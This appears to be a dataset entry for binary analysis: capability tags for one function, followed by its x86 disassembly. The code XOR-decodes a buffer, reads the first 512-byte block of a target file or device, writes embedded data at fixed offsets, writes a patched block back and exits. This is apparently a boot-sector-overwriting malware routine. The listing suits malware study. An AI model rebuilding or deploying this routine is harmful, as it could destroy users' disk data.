Function at 0x2aa01220
Capabilities:
Encode data using xor
Read file on windows
Terminate process
Write file on windows

Disassembly:
lea esi, [esp + 0x18]
lea edi, [esp - 0x1000]
mov ecx, 0x200
lodsb al, byte [esi]
xor al, 0xfd
stosb byte es:[edi], al
loop 0x2aa01211
push 0
jmp 0x2aa0145e
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x2aa01110]
push ebx
push esi
push edi
push 0
push 0x10000080
push 3
push 0
push 3
push 0xc0000000
push 0x2aa01134
mov dword [esp + 0x238], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x14], ebx
je 0x2aa01425
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push ebx
call esi
cmp eax, 0xffffffff
je 0x2aa01425
push 0
lea eax, [esp + 0x14]
push eax
push 0x200
lea ecx, [esp + 0x24]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x2aa01425
push 0
push 0
push 0x400
push ebx
call esi
cmp eax, 0xffffffff
je 0x2aa01425
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0x14]
push edx
push 0x400
push 0x2aa02208
push ebx
call edi
test eax, eax
je 0x2aa01425
push 0
push 0
push 0x800
push ebx
call esi
cmp eax, 0xffffffff
je 0x2aa01425
push 0
lea eax, [esp + 0x14]
push eax
push 0xa00
push 0x2aa02608
push ebx
call edi
test eax, eax
je 0x2aa01425
xor edx, edx
lea esp, [esp]
mov edi, dword [0x2aa0320c]
mov eax, edi
lea esi, [eax + 1]
jmp 0x2aa01320
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x2aa01320
sub eax, esi
mov ecx, eax
lea esi, [esp + edx + 0x18]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x2aa0133a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x2aa01435
inc edx
cmp edx, 0x200
jb 0x2aa01310
push 0
push 0
push 0x200
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x2aa01425
jmp 0x2aa01201
lea edx, [esp - 0xff4]
nop
nop
nop
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x2aa01425
mov edx, dword [0x2aa03208]
mov eax, edx
xor ebx, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x2aa01391
sub eax, esi
mov ecx, eax
mov edi, edx
mov esi, 0x2aa02008
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x2aa013ae
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x2aa013da
mov eax, edx
inc ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x2aa013b8
sub eax, esi
mov ecx, eax
mov edi, edx
lea esi, [ebx + 0x2aa02008]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x2aa013d6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x2aa013b2
mov ecx, ebx
mov eax, ecx
shr ecx, 2
mov esi, 0x2aa02008
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x1c]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x2aa01425
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x200
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x2aa01444
xor eax, eax
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x21c]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x14]
push ecx
push 0x200
jmp 0x2aa0136a